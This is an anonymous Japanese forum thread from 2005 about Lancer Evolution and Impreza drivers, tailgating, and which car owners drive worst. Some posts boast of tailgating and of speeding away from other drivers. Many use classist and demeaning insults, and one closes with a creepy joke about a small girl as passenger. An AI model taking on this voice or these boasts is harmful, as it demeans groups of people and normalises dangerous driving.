後続車がエボ・インプ

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1 ：名無しさん＠そうだドライブへ行こう：
ふと、バックミラーに目を向けると
そこに写る車はエボもしくはインプ
非常に不愉快で楽しいドライブが台無し
2 ：名無しさん＠そうだドライブへ行こう：2005/12/03(土) 16:58:02 ID:x0LqA3JC0
２
3 ：名無しさん＠そうだドライブへ行こう：2005/12/03(土) 16:59:53 ID:32SRh8ra0
インポ海苔、セイ惨状
4 ：名無しさん＠そうだドライブへ行こう：2005/12/03(土) 17:11:36 ID:In2nfwJv0
そんなにコンプレックスを持たなくてもいいのに☆
5 ：名無しさん＠そうだドライブへ行こう：2005/12/03(土) 17:23:00 ID:ppzWjqvS0
減速せずにカーブをクリアして同乗者に腕を見せようとでもしてたのか？
そんなん楽に付いていけますから
6 ：BMW E60 M5 Individual：2005/12/03(土) 17:24:20 ID:DCPiBg8L0
　煽られる。　っで、ノーマルだと腕でカバーして・・・引き離す。　でも、
彼女を乗せているエボ・インプどもが煽ることは少ない。　以上。　昔、バケツ
をテールに下げた蛍ども（アニメ？のステッカーかなんか。）を目撃したことが
あったが・・・。　そやつは、女を助手席に乗せて一般車を煽っていた。　勿論、
俺は車間を置く・・・ワケで。　っで、PAでその運転手が一言・・・。



「あいつ、マジ、オッセーヨ。」


　偏見抜きにして、マジ、GTマニアは家でゲームをやっていろとおもつた。
7 ：名無しさん＠そうだドライブへ行こう：2005/12/03(土) 17:28:26 ID:60dqWDveO
今日、前にエボ４、後ろに涙目インプが走ってた。
以上。
8 ：BMW E60 M5 Individual：2005/12/03(土) 17:28:59 ID:DCPiBg8L0
>>6
　文面が変になった。　すまん。
9 ：名無しさん＠そうだドライブへ行こう：2005/12/03(土) 18:40:22 ID:w+huOsaJ0
>>8
藻前はいつも文章が変だから気にすんな。
10 ：名無しさん＠そうだドライブへ行こう：2005/12/03(土) 22:17:51 ID:o5/PzfrRO
インプ海苔とエボ海苔は実際は結構仲が良いよ。
11 ：名無しさん＠そうだドライブへ行こう：2005/12/04(日) 09:12:21 ID:u8gcYSNV0

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　　　　　　　　　r-、 ,,,,,,,,,,、　/: : : : : : : : : :i　　　 ／
　　　　　　　　　L_,　,　　 、　＼: : : : : : : : :i　　 ／　乗ったら
　　　　　　　　 /●) (●>　　　|: :__,=-、: /　＜　　　負けかなと思ってる　
　 　　　　　　　l イ　 '-　　　　　|:/　tbノノ　　　　＼ 　　　
　　　　　　　　l ,`-=-'＼　　　　 `l ι';/　　　　　 　＼ 　ニート（２４・男性）
　　　　　　　　ヽトェ-ェェ-:）　　　 　-r'　　　　　　　　　￣￣￣￣￣￣￣￣
　　　　　　　　　ヾ＝-'　　　　　／ /　
　　　　　＿＿＿_ヽ::::...　　　／ ::::|
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12 ：名無しさん＠そうだドライブへ行こう：2005/12/04(日) 09:31:52 ID:r92S2ONq0
インプのナンバーが５５５だとスバヲタキターって笑える
13 ：名無しさん＠そうだドライブへ行こう：2005/12/04(日) 10:08:40 ID:1NutS4IJ0
WRCのスポンサー変わったらどうすんのかね
14 ：名無しさん＠そうだドライブへ行こう：2005/12/06(火) 14:51:25 ID:yEZQW4J/0
俺の前４台ほど車があって、先頭が左折するために歩行者がわたりおえるのを待ってた。
そしたら後ろのランエボがﾊﾟｯﾊﾟ--------------!!!!!ってクラクション鳴らしながら対向車線に出て逆走しながら４台ごぼう抜き。
（ ´,_ゝ｀）プッかっこいいなｗ
15 ：名無しさん＠そうだドライブへ行こう：2005/12/06(火) 14:53:25 ID:aiSmT+Iy0
そんな>>1はパルサーGTI-R海苔
16 ：名無しさん＠そうだドライブへ行こう：2005/12/06(火) 14:57:54 ID:wHoI/HrHO
>>15
男らしくていいジャマイカ
17 ：名無しさん＠そうだドライブへ行こう：2005/12/06(火) 18:57:09 ID:vmeyk+R90
ランエボもⅣあたりまでだと厳しいよね
うしろが最新のエボだったりすると
18 ：名無しさん＠そうだドライブへ行こう：2005/12/06(火) 20:00:49 ID:iBveWxKh0
>>15
WRCで全くお話にならなかった至上最悪な出来損ない車ね
余に劣る車に乗ってる小心者が劣等感を感じましたね（*≧ｍ≦*）ﾌﾟﾌﾟﾌﾟｗ
所詮GTI-Rは屑車！
GT-Rと違い適当に造りしあのフロントヘビーでバランスの悪い最悪の軟弱ボディー
狭いエンジンルームではエンジンが冷えないし分不相応の糞馬鹿デカいインタークーラーは下に
カムカバーが有るから空気が抜けずインタークーラーは全く冷えないは重心高いし押出しアンダー
で最悪ですね
かの車はラリー界の屑で日産の大失敗作！
劣等感を感じるなら早く廃車にして捨てましょう！
19 ：名無しさん＠そうだドライブへ行こう：2005/12/06(火) 20:32:16 ID:uqNERr8t0
　　　　　　　　　　　　　　　　　　　　　　　　|
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　　　　　 ∩＿＿＿∩　　 　 　 　 　 　　　|　　ぷらぷら
　　　　　 | ノ　 _,　　,_ ヽ　　　　 　 　（（ 　 |
　　　　　/　　●　　　● |　　　　　　　　　(=)
　　　　 |　　　　( _●_)　 ミ　＿　(⌒)　 　 J　　））
　　　　彡､　　　|∪|　　ノ
⊂⌒ヽ　/　　　 ヽノ　 ヽ /⌒つ
　 ＼　ヽ　 /　　 　 　　 ヽ　/
　　　＼_,,ノ　　　　　　|､＿ノ
20 ：名無しさん＠そうだドライブへ行こう：2005/12/06(火) 21:29:29 ID:9x5yfGq70
ライダーから見れば後で煽るクルマはエボですら微笑ましく思える。
21 ：名無しさん＠そうだドライブへ行こう：2005/12/06(火) 23:08:35 ID:tCa4uci20
>>1
何が不愉快なのかはよく分からないけど、インプ、
エボ乗ってて格下スペックの車を煽ってくるなら、
バカじゃねーの？ とは思うね。
そんなドライバーはマンガの見すぎの糞だろう。
22 ：名無しさん＠そうだドライブへ行こう：2005/12/06(火) 23:20:46 ID:7xeXsJgeO
エボ・インプが後ろに付くと何となく気まずい、そんな俺の愛車はＳＴ２０５。
23 ：名無しさん＠そうだドライブへ行こう：2005/12/07(水) 00:28:57 ID:s7c/t4wc0
>>22
エボ・インプ同士だとそうでもないのに、セリカはこの2台によく煽られてるな。


そんな俺も元ST185海苔
24 ：名無しさん＠そうだドライブへ行こう：2005/12/07(水) 08:10:21 ID:AybJTmHk0
俺も気まずい汁海苔
25 ：αード乗り：2005/12/07(水) 09:03:13 ID:Fj3WSAfxO
また糞スレたてやがって
どうせキモヲタミニバン乗りだろ
削除削除
26 ：名無しさん＠そうだドライブへ行こう：2005/12/07(水) 17:35:48 ID:dzoU11Vo0
>>23
インプ乗りだが煽っとらんよ！
じつはセリカがほしかった！
セリカは上品で優雅に乗りWRCでも成績を残した素晴しい車！
ま、最後はTTEやってしまったが・・・
走りの質が違うスペシャルティカーだからそれでいい！
ランエボは言うに及ばず名車！
WRCでも事実として結果が出ている！
ファミリア不利な排気量でも頑張った結果もそれなりに出た！
しかーしGTI-Rは別！
>>19ちがうちがう釣りじゃないよ！
スポーツ四駆で唯一単発で終った恥車(ﾟ⊿ﾟ)ｲﾗﾈ！ﾍﾟｯ
WRCでの汚点！
ファミリア323みたいに1600ccでも頑張る根性もなく
あんな適当に出場してすぐ撤退するなら最初から出場してほしくなかった
直線番長の序二段なんか煽ったりしないが目障りだから早く全て消えてほしい！
頼む駄作は消えて（￣人￣）アーメン！




27 ：名無しさん＠そうだドライブへ行こう：2005/12/07(水) 17:41:35 ID:E79aWYsT0
出来の悪い子ほど可愛いもんだ
しかーしGTI-Rは別！
28 ：名無しさん＠そうだドライブへ行こう：2005/12/07(水) 18:19:08 ID:IW+2VaBm0
後ろにどんな車に付かれても気にならないけどな。
エボ・インプが後ろだｷﾓｲ！
とか気にし過ぎだ、何かコンプレックスでもあるんか？
キモ杉ｗ
29 ：名無しさん＠そうだドライブへ行こう：2005/12/07(水) 18:23:54 ID:E79aWYsT0
エボ・インプが後ろだ（それに乗ってるやつが）ｷﾓｲ！
30 ：名無しさん＠そうだドライブへ行こう：2005/12/07(水) 18:25:46 ID:YqBu2+4r0
エボ・インプ煽ってるフルスモのセルシオなら今日見たよ
31 ：名無しさん＠そうだドライブへ行こう：2005/12/07(水) 18:27:36 ID:E79aWYsT0
かっこええやんけ
32 ：名無しさん＠そうだドライブへ行こう：2005/12/07(水) 23:12:52 ID:C6asWjiRO
乗れば解るんだけど、スバルのターボ車は飛ばしたく（アクセル踏みたく）なるよ。
33 ：名無しさん＠そうだドライブへ行こう：2005/12/07(水) 23:21:04 ID:XZRpGSlF0
そもそも、インプやエボの助手席に彼女を乗せている
お兄さんがたを見る機会は、非常に少ない。
男が隣に乗っているのは良く見かけるが・・・

逃げるな！これは事実である。
34 ：名無しさん＠そうだドライブへ行こう：2005/12/07(水) 23:33:27 ID:DzNZTHws0
こんな事で自分より下の人間が居てると思わないと自分のｼｮﾎﾞさに耐え切れないんだな
35 ：名無しさん＠そうだドライブへ行こう：2005/12/08(木) 00:46:09 ID:pvBJYUXw0
ステップDQN如きに煽られるのがイラっとくる。
36 ：名無しさん＠そうだドライブへ行こう：2005/12/08(木) 00:48:46 ID:3qvJVZOy0
そう言うときにはわざと順法運転して見る。
さっき久し振りに煽られたので制限速度で走って一時停止をしっかり守って右左確認とかやってたら
スモーク入ったハイエースが煽る煽るｗ
37 ：名無しさん＠そうだドライブへ行こう：2005/12/08(木) 01:12:23 ID:WvopYouF0
>>36
スモーク入ったハイエースなんか
下流階級の人間が乗る乗り物なんで
相手にしないしないw
38 ：名無しさん＠そうだドライブへ行こう：2005/12/08(木) 02:07:35 ID:VYreEMf50
ハイエースは確かにひどいな。
足立ナンバーならなおさら
39 ：名無しさん＠そうだドライブへ行こう：2005/12/08(木) 04:55:27 ID:h7lO/OiD0
　 ﾉ
　(ﾟдﾟ　) ＜俺はインプ海苔やけど・・・
　(　(7
　<　ヽ



　 ﾉ
　( ﾟдﾟ )　＜NAやがな、96psやがな。
　 (　(7
　<　ヽ
40 ：名無しさん＠そうだドライブへ行こう：2005/12/08(木) 08:12:29 ID:GmNzyMvA0
この二車種がバックミラーに写ると鬱
41 ：名無しさん＠そうだドライブへ行こう：2005/12/08(木) 15:45:50 ID:toqolAdR0
ブルＳＳＳ-Ｒは眼中にありませんかそーですかごめんなさい
42 ：名無しさん＠そうだドライブへ行こう：2005/12/09(金) 00:23:05 ID:YFvH7qLG0
性能面では相手にはならんが、レアカーなんでつい振り返ってしまう。
43 ：名無しさん＠そうだドライブへ行こう：2005/12/09(金) 00:30:53 ID:vcz+8vvo0
>>40
迅速に退けよ！
44 ：名無しさん＠そうだドライブへ行こう：2005/12/09(金) 09:58:38 ID:nVwnd4Ts0
スポーツカーだろうが砂利トラだろが、明確に煽られるより、
単に車間距離の概念が無い奴（なぜかワゴンＲ・ムーブに多い）
に付かれる方が俺は嫌だ。
急いでるのかと左ウインカーで先頭譲った途端、トロトロ走り始めたり。
45 ：名無しさん＠そうだドライブへ行こう：2005/12/09(金) 15:44:38 ID:Dd3sVYg40
↑ｂB,ストリーム、ステップDQNにもかなり多し。
46 ：LANEVOchan：2005/12/10(土) 19:29:12 ID:acwxRGGJO
エボ海苔ですが昨日、股蟻バイパスを流してたら糞古いクラウンに煽られました。察じゃない事を確認した後、３秒でバックミラーから消しました。
その後アクセル弱めて待っていたらまたムキになって煽ってきました。そしてまた視界から消しました。
かなわんってわからんのかな？
僕の助手席の女は目を真ん丸くしていました。
47 ：名無しさん＠そうだドライブへ行こう：2005/12/10(土) 19:33:09 ID:4y9wrRcc0
エ
そ
か
僕


壊疽か僕


ここは俺に任せて、早く病院へ行くんだ！
48 ：名無しさん＠そうだドライブへ行こう：2005/12/10(土) 20:13:52 ID:gfSaqIwR0
>>46
> かなわんってわからんのかな？

奴らには、速さに対する価値観は持っていないよ。
目の前にいる車を煽り続けるだけ。
そうゆうセルシオ、マジェスタ、クラウンは少なくないよ。
49 ：名無しさん＠そうだドライブへ行こう：2005/12/10(土) 20:17:40 ID:Ny1SO6dE0
磁石といっしょ。前に車がいないと追い付くまで目一杯、追い付いたら
ぴったり付いて走る。煽っているつもりは彼等には無。
50 ：名無しさん＠そうだドライブへ行こう：2005/12/10(土) 20:28:08 ID:zXssKm9wO
>>49
そういう椰子に限ってあの車遅いとか、4000ｼｲｼｲの漏れの車に勝てるわけないとか言うんだよな……
51 ：LANEVOchan：2005/12/10(土) 21:04:01 ID:acwxRGGJO
叩かれると思ったらナカーマが結構いたw
微妙にｳﾚｽw
52 ：名無しさん＠そうだドライブへ行こう：2005/12/10(土) 21:11:16 ID:6Kd2876C0
>ナカーマが結構いたw

馬鹿丸出しのアホォー
53 ：名無しさん＠そうだドライブへ行こう：2005/12/10(土) 21:17:43 ID:6QcTxuiz0
HONDAのR乗りですが、エボもインプも煽ったりしないよ。
自信が無いのと格下に負けたら、、の方が強いのでは。
そんなにうまい奴はいないし煽らないぞ。
俺の所だけ？？
54 ：名無しさん＠そうだドライブへ行こう：2005/12/10(土) 21:19:08 ID:LLIm0keDO
>>12
鈍亀＆ﾏｼﾞﾚｽ
555って言ったら今はBAR HONDAデナイノ？
55 ：名無しさん＠そうだドライブへ行こう：2005/12/10(土) 21:25:26 ID:BNrl8qTE0
いや綺麗だろ、ﾅｶｰﾏﾕｷｰｴ
56 ：名無しさん＠そうだドライブへ行こう：2005/12/10(土) 22:57:06 ID:nNQTIP9A0
前にミニバンだと楽しいドライブが台無し
57 ：名無しさん＠そうだドライブへ行こう：2005/12/10(土) 22:59:49 ID:AnElUbCv0
郊外じゃそこらじゅうミニバンだろが
58 ：名無しさん＠そうだドライブへ行こう：2005/12/10(土) 23:03:11 ID:p//S/hxb0
オデッセイくらいの車高のミニバンならＯＫ。
59 ：名無しさん＠そうだドライブへ行こう：2005/12/11(日) 00:06:49 ID:FfNK8Hlf0
>>58
俺、ミニバン嫌いだが、オデッセイは（・∀・）ｲｲ!!ね。
前に乗せてもらったことがあるが、
天井が低くてセダンのようだけど足元は伸び伸び。
あんまりDQNなふいんきじゃないしね。
60 ：名無しさん＠そうだドライブへ行こう：2005/12/11(日) 03:23:23 ID:1KKOQ/BJ0
織れエボ糊だがこんな奴（>>51）といっしょにして欲しくないな。
ぺッ。
61 ：名無しさん＠そうだドライブへ行こう：2005/12/11(日) 12:32:28 ID:dpRHEgUm0
>>1別に。
俺のアストロは遅いから抜かせよ。
62 ：名無しさん＠そうだドライブへ行こう：2005/12/11(日) 12:36:20 ID:kUQjnNJA0
エボ乗りだけど軽トラにも抜かされますよ
遅くてほんとにごめんなさい
はやくこんな燃費の悪い車捨ててエコカーにでものりたいです
なんか愛着あってなかなかですが・・
このような愚鈍なエボ乗りもいるんですよ
多少下手でも勝手に曲がってゆく素敵な車ではあります
63 ：名無しさん＠そうだドライブへ行こう：2005/12/11(日) 12:43:44 ID:qTl+5AjN0
いろは坂の下りは軽トラが最強！！！

いじりまくったスカイラインとかも相手にならネーヨ。
64 ：名無しさん＠そうだドライブへ行こう：2005/12/11(日) 16:53:32 ID:TqunWE/r0
>>62
スポーツ四駆は記念みたいなもので、この時代にこの様な車に乗っていたと言う証！
環境保護の為に、いずれ2スト見たいに消える前に乗ってもいいんじゃない。
次はプリウスかな
65 ：名無しさん＠そうだドライブへ行こう：2005/12/11(日) 19:04:07 ID:0AOhFWFM0
　　　　　　　 ∧＿∧　 ／￣￣￣￣￣￣￣
　　　　　　　（；´Д｀）＜　す、すいません、すぐ片付けます。
　　-=≡ 　/　　　 ヽ　 ＼＿＿＿＿＿＿＿
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　-=≡　/.　＼ヽ／＼＼_
　　　　/　　　 ヽ⌒)==ヽ_）=
-= 　 /　/⌒＼.＼　||　　||〃〃∩　_, ,_
　　／ ／　　　 >　） || 　 || ⊂⌒（　`Д´）　←>>1
　/　/ 　　　　/ ／＿||＿ ||　 ｀ヽ_つ ⊂ノ
　し'　　　　　（＿つ￣(_））￣ (.)）￣ (_））￣(.)）

66 ：名無しさん＠そうだドライブへ行こう：2005/12/11(日) 19:16:44 ID:r61RLoZp0
エボ乗り気持ち悪い。。。。

都内某所。

何かの美少女キャラクターが両サイドにデカデカとフルカラーでアートされてる白いエボを見ました。。。
マジ気持ち悪い！！！
67 ：名無しさん＠そうだドライブへ行こう：2005/12/11(日) 19:40:56 ID:dM1Tge9G0
ぉぃぉぃ・・・
そんなエボ糊は全国に数人だけだろｗ
68 ：名無しさん＠そうだドライブへ行こう：2005/12/11(日) 20:00:27 ID:QosM+/4hO
エボ海苔です。
Bﾐﾗｰに映ったら鬱なのは解りますが、前にﾐﾆﾊﾞﾝ(ﾌﾟﾗｲﾊﾞｼｰ硝子＋ｽﾓｰｸ)なクルマがいる方がおしなべて鬱。
前見にくいから危ないし。
69 ：名無しさん＠そうだドライブへ行こう：2005/12/13(火) 13:05:20 ID:RSXTAdtG0
>>66
幻覚を見たんだろ。
医者へ逝ってこい。
そして帰ってくるな。
70 ：名無しさん＠そうだドライブへ行こう：2005/12/13(火) 18:09:23 ID:lq85MXXz0
俺の中古インテ。キモヲタしか認めないホンダのタイプＲさ。
スゲー安いんだ、これが。
勿論DC2のチャンピオンシップホワイトだぜ、ヲタっぽいだろ？
キモヲタらしくデブなのに2ドアを選択した俺、
周りは快適なミニバンやエコロジーな軽ばかり。
勝ち組は間違いなく彼ら。
だって只でさえホンダヲタキモ！な俺が乗ってもキモさが引き立つＲだ、
イケメンが乗ったら周囲から哀れみ受けるぜ、間違い無い。
そんな中古のインテだけど、ＧＴ－Ｒやエボ、インプより全然遅いって
怖いおにーさん連中に叩かれる事もしばしば。
良いんだよ、遅くったって。
俺はネット強者で実際は臆病なキモヲタだし貧乏だし安いんだから。
俺もダサいけど、インテＲも必要十分にダサい車だから。
ヲタクはホンダタイプＲじゃなきゃ駄目なんだよ！
大体ＧＴ－Ｒなんて高くて乗ってらんない。
なんですか、アレ？格好良過ぎです。
有名デザイナーがデザインしたんですか？
あんなの僕には似合いませんよ。
今日も俺はそんなダサくて安いインテとドライブに行く。
ナビシートにはインテと同じくらい大切な幼女を乗せて。
71 ：名無しさん＠そうだドライブへ行こう：2005/12/13(火) 18:53:12 ID:XP5hlXi70
>>69
そうか、あれはお前の車だったのか･･･
趣味悪いからやめたほうが良いぞ
72 ：名無しさん＠そうだドライブへ行こう：2005/12/13(火) 18:55:13 ID:FXfATrtf0
むしろ俺は距離感覚が思いっきり狂ってそうなおばちゃんの乗る軽が
後ろにいると怖いけどなぁ。
赤信号で止まる時なんか、オイオイぶつかるなよ！って叫びたくなるほど
減速のタイミング遅い叔母様って結構いると思うんだが。
73 ：名無しさん＠そうだドライブへ行こう：2005/12/13(火) 20:55:48 ID:nXiwNXYBO
>>71
お前は日本語の勉強をしろよ。
74 ：名無しさん＠そうだドライブへ行こう：2005/12/13(火) 22:37:46 ID:XP5hlXi70
↑必死
75 ：名無しさん＠そうだドライブへ行こう：2005/12/14(水) 19:19:48 ID:kd8rP2V/0
ステップDQN
キモい。
76 ：名無しさん＠そうだドライブへ行こう：2005/12/17(土) 20:57:38 ID:Q6TqijYlO
っていうか、なんかココも静かになったな。このスレタイじゃしゃーねーか。
洗車したばかりの時に前の車が走行中ウォッシャーした時ってムカかね??
77 ：名無しさん＠そうだドライブへ行こう：2005/12/18(日) 10:43:53 ID:BzwHNG530
後続車がエボ・インプ そんないやか？よっしゃー、、、
て思うけどね。
それよりあるファー度の白ハンドルとのほうが、
よっぽどうっとうしい。
78 ：名無しさん＠そうだドライブへ行こう：2005/12/18(日) 10:56:55 ID:A8RMHtQf0
糞ミニバン全般がウザい。
79 ：名無しさん＠そうだドライブへ行こう：2005/12/18(日) 20:23:50 ID:UTixm8LG0
バン、BIP全般ｳｻﾞｲ
車の大きさ＝偉さだと思ってる馬鹿
80 ：名無しさん＠そうだドライブへ行こう：2005/12/19(月) 00:06:24 ID:dUk2F+fiO
総じて後方車がエボ・インプよりもDQN系ミニバン／ＶＩＰの方がウザイって事でＦＡ??
81 ：名無しさん＠そうだドライブへ行こう：2005/12/19(月) 02:27:51 ID:bnk1tv/20
>>80　・・・＞79はBIPだけど？
82 ：名無しさん＠そうだドライブへ行こう：2005/12/20(火) 06:37:56 ID:1dwhgYm60
>>80
それでいいかも。
83 ：やぁ：2005/12/20(火) 07:22:04 ID:vZew+Q2BO
２色のシビックに乗ってますが、VIP系とか全般に車間距離開けてくれます
84 ：名無しさん＠そうだドライブへ行こう：2005/12/20(火) 11:55:09 ID:RYUxMVvp0
↑織れの周辺ではそれはないな。
85 ：名無しさん＠そうだドライブへ行こう：2005/12/20(火) 12:14:58 ID:Iq3LZVfaO
↑禿同。
86 ：名無しさん＠そうだドライブへ行こう：2005/12/20(火) 12:51:40 ID:Zg6DF9Q30
赤白のワンボックスには必死についていくよな
87 ：名無しさん＠そうだドライブへ行こう：2005/12/20(火) 14:29:57 ID:DYUKPcUq0
あれは公道最速
88 ：名無しさん＠そうだドライブへ行こう：2005/12/20(火) 19:56:32 ID:90vC80z10
>>83
馬鹿には関わりたくないだけ。
同じ馬鹿同士で何か感じるんだろw
89 ：名無しさん＠そうだドライブへ行こう：2005/12/22(木) 12:15:47 ID:v/SWmiBp0
>>83
エボに乗ってるが、スポーツ系なんかよりステップDQNとかによく煽られる。
ウざいから相手してやってるが後でかなりの虚無感に襲われる。

スポーツ系相手のときは爽やかな気分になれるのだが。
90 ：名無しさん＠そうだドライブへ行こう：2005/12/22(木) 12:21:12 ID:66QCVVTN0
雪道でインポとかにつかれるとかなり嫌
91 ：名無しさん＠そうだドライブへ行こう：2005/12/22(木) 12:21:46 ID:lCcmOS2G0
スポ－ツカ－から出てきた運転手がデブならｗ
92 ：名無しさん＠そうだドライブへ行こう：2005/12/22(木) 21:18:52 ID:j+oS0NaF0
>>89
エボがインプを煽ったり、ＦＤやシルビアがその両者を煽ったりする事は非常に稀だからな
レガくらいになると煽る奴が出現しだして、自覚無しDQNミニバンで極大に達する
やっぱり乗れない僻みが有るコトは否定出来ないと思うよ
93 ：名無しさん＠そうだドライブへ行こう：2005/12/22(木) 21:40:53 ID:hdXhAmSP0
>>92
その通りだと思うね。
もっと言えばＤＱＮミニバンの中でも旧式の車にしか乗ることが出来ない
低層階級で煽り屋率は高くなるね（ｗ
94 ：名無しさん＠そうだドライブへ行こう：2005/12/22(木) 23:30:39 ID:/eoez3vaO
↑なるほど～
そんな見解なんですね。なるほどと思います。
95 ：名無しさん＠そうだドライブへ行こう：2005/12/23(金) 00:06:41 ID:Si5dGVTJ0
今日前の車が遅かったから煽り倒してやった
が、向こうも意地を見せて譲る気配なし
で諦めた
96 ：名無しさん＠そうだドライブへ行こう：2005/12/23(金) 00:39:09 ID:gz50IHtf0
>>95
２車線なら華麗にちぎってスル～すればいいのに。
97 ：名無しさん＠そうだドライブへ行こう：2005/12/23(金) 00:42:41 ID:36qJ22UK0
煽ってないのに煽ってると勘違いされることもある。
98 ：名無しさん＠そうだドライブへ行こう：2005/12/23(金) 10:02:54 ID:PKaqfpT/0
「来たな、プレッシャー」
エボインプがつくとガンオタの俺は言いますが
99 ：名無しさん＠そうだドライブへ行こう：2005/12/23(金) 12:03:58 ID:+mR2xWEj0
↑そんなおまぃは何に乗ってるの？
100 ：名無しさん＠そうだドライブへ行こう：2005/12/23(金) 12:12:51 ID:lUdYPWeH0
後続車が２台以上溜まったら自分が遅いせいで迷惑をかけている
場所を見つけて譲るべき、というマナーを定着させた方がいい。

ちなみに俺は、普通のクルマだし煽ってもいないのに路肩に退かれる事が多い。
何か不気味なオーラが漂っているのだろうか？
101 ：名無しさん＠そうだドライブへ行こう：2005/12/23(金) 12:45:15 ID:cT4jF4ch0
ルーフに血まみれの女がしがみついてるのが見えた、
とかじゃね？
102 ：名無しさん＠そうだドライブへ行こう：2005/12/23(金) 13:16:36 ID:3HFS+w+y0
>>普通のクルマだし、
でもフルスモークに金グリルだったりして。
103 ：名無しさん＠そうだドライブへ行こう：2005/12/23(金) 13:56:04 ID:+mR2xWEj0
さりげに鬼の形相だったりして。
104 ：名無しさん＠そうだドライブへ行こう：2005/12/23(金) 23:48:26 ID:PdyF+XAI0
三菱なんだろ
105 ：名無しさん＠そうだドライブへ行こう：2005/12/24(土) 07:07:44 ID:Idp0ShTm0
↑まだこんなこと云ってる奴がいるんだな。
106 ：名無しさん＠そうだドライブへ行こう：2005/12/24(土) 10:37:44 ID:x3IaEF/J0
>>100
きみには何かあるかもしれん。
何も意識してないかもしれないが普通に>>100とかゲットしてるし。

やばそう・・・・
107 ：名無しさん＠そうだドライブへ行こう：2005/12/24(土) 16:56:49 ID:BeYuNByf0
神だな。
108 ：名無しさん＠そうだドライブへ行こう：2005/12/24(土) 18:00:25 ID:09X3JBMKO
今日涙目インプにデブキモオタメガネが５人乗ってるのを見た
109 ：名無しさん＠そうだドライブへ行こう：2005/12/25(日) 08:47:33 ID:Gphzq1YP0
クリスマスはインプで雪山一人旅フォォォー！！
110 ：軽トラ小僧：2005/12/25(日) 10:37:01 ID:dHBHt6YSO
>>108
つまらんネタを書き込むなキモオタミニバン乗りが
111 ：名無しさん＠そうだドライブへ行こう：2005/12/25(日) 11:36:33 ID:E4pnlXdPO
二年位前にセル塩にオカマほったインプみたな コワモテのオッサンに必死で詫びてたインプ海苔のﾆｰﾁｬﾝ 情けなかった ご愁傷様
112 ：名無しさん＠そうだドライブへ行こう：2005/12/25(日) 11:42:18 ID:E4pnlXdPO
100は三菱車でない？ 檻がそうだから間違いない
113 ：名無しさん＠そうだドライブへ行こう：2005/12/25(日) 11:46:04 ID:jOfccm/+O
>108
フルエアロでVIP風味？にキメたミニバンの中が、野郎ばかり5人中4人が根暗そうなメガネ(オーナー含む)だったのを見た時はさすがに困ったが。
114 ：名無しさん＠そうだドライブへ行こう：2005/12/25(日) 11:50:55 ID:DpO7ZpaY0
>>1
山道だと煽らなくても譲ってもらえるけど
てか「非常に不愉快で楽しい」って何？
115 ：軽トラ小僧：2005/12/25(日) 12:36:20 ID:dHBHt6YSO
>>111
そんなもん誰だって謝るだろ

妄想だろーけど
116 ：名無しさん＠そうだドライブへ行こう：2005/12/25(日) 16:17:37 ID:wkS6oKe10
>>114
「で」の後に「、」を入れて読め。
国語を勉強しなおして来い。
117 ：名無しさん＠そうだドライブへ行こう：2005/12/25(日) 16:22:25 ID:rhRQKmIU0
インプやエボにはギャル男や汚兄系が乗って欲しい
絶対エボ、インプのイメージが変わるよぉ
118 ：名無しさん＠そうだドライブへ行こう：2005/12/25(日) 19:33:59 ID:jQR3zL7a0
Y=-X~2だからプラスイメージになることはありません。
119 ：名無しさん＠そうだドライブへ行こう：2005/12/26(月) 16:56:46 ID:UrYMGqC90
>>117
ギャル夫には転がすことすらもできません。
120 ：名無しさん＠そうだドライブへ行こう：2005/12/26(月) 17:43:06 ID:599wu0+MO
ギャル男wwwwww
あんなマサイ族みたいな奴らにはＭＴ車は無理だろ
てか、あいつらの場合は自分の足で走った方が速そうだし
121 ：名無しさん＠そうだドライブへ行こう：2005/12/26(月) 17:56:28 ID:vCnE+/hnO
さらにイメージ失墜する悪寒
122 ：名無しさん＠そうだドライブへ行こう：2005/12/26(月) 20:39:13 ID:RQwN86tEO
はっ？ ギャル男？ てかあんな下層人種は何乗ってても後続に着けられたら憂鬱だ タコみてーに踊ってやがる ｹﾝｼﾛｳにｱﾍﾞｼされる雑魚キャラだよな あいつら笑える 税金はらっとけよ
123 ：名無しさん＠そうだドライブへ行こう：2005/12/26(月) 21:52:16 ID:q9MgeNPE0
ギャル男が乗ってエボインプのイメージが変わったところで
>>117にとって何の得があるのだろうか。
124 ：名無しさん＠そうだドライブへ行こう：2005/12/26(月) 22:24:59 ID:vCnE+/hnO
>>123
(最近人気の)エボだ！ｶｺｲｲ！

うわ…乗ってるのキモヲタじゃん…


あまり…つーかまったく変わらない悪寒
125 ：名無しさん＠そうだドライブへ行こう：2005/12/27(火) 01:47:05 ID:iCVG1j7hO
＞ｶｺｲｲ
＞キモヲタ





現実世界でも２ちゃん用語を使ってる>>124はリアル秋葉系っぽいなw
126 ：名無しさん＠そうだドライブへ行こう：2005/12/28(水) 01:01:20 ID:5Jf7S33P0
カッコイイ
と
云え！
127 ：名無しさん＠そうだドライブへ行こう：2005/12/28(水) 05:43:44 ID:5CLteK1X0
俺の住んでる地域だけかもしれないが、エボ・インプってマナーはいいほうじゃない？
当方、千葉県江戸川区住みでＲ３４海苔だが、この辺ではむしろレガシィ・ハイエース辺りの
車の方がタチが悪い気がする。
まあ、地域や時間にもよるのだろうけど・・。
128 ：名無しさん＠そうだドライブへ行こう：2005/12/28(水) 07:12:35 ID:ANfOCOUiO
千葉県江戸川区？
129 ：名無しさん＠そうだドライブへ行こう：2005/12/28(水) 14:16:06 ID:2p7GZgnr0
>>127
神戸付近のエボ・インプ遣いも上品且つ旨いぞ。

しかしステップDQNがDQNなのは全国共通みたいだな。
130 ：名無しさん＠そうだドライブへ行こう：2005/12/28(水) 14:18:58 ID:npO0XHyE0
>>127
東京都江戸川区と汲んで言わせてもらうとハイエースは
あの辺に乱立する中小、工場の工員や作業員の出勤車だから
マナー悪いのは当たり前。
131 ：名無しさん＠そうだドライブへ行こう：2005/12/28(水) 18:18:25 ID:nTk3nrxV0
ハイエースでもバニング仕様は意外とマナーがいいよな。
132 ：名無しさん＠そうだドライブへ行こう：2005/12/28(水) 22:26:33 ID:ag242WfXO
ﾋﾞｰﾋﾞｰもﾄﾞｷｭｿ率高いよな あとDQNアール
133 ：名無しさん＠そうだドライブへ行こう：2005/12/29(木) 00:14:58 ID:iYJx21OT0
DQNアールってワゴンRのことかな？
134 ：名無しさん＠そうだドライブへ行こう：2005/12/29(木) 06:19:16 ID:ucu24YPd0
ま、タイプRだろうな。
つか中古車含め若くても買いやすい値段のスポ車はDQN率高いと思うよ。
他にシルビア、180SXなんかも。もちろんマナーいい奴もいるんだけどさ。
俺もEK9乗りなんだけどねw
マナーいいかは俺自身が判断することじゃねぇと思うんでノーコメント。
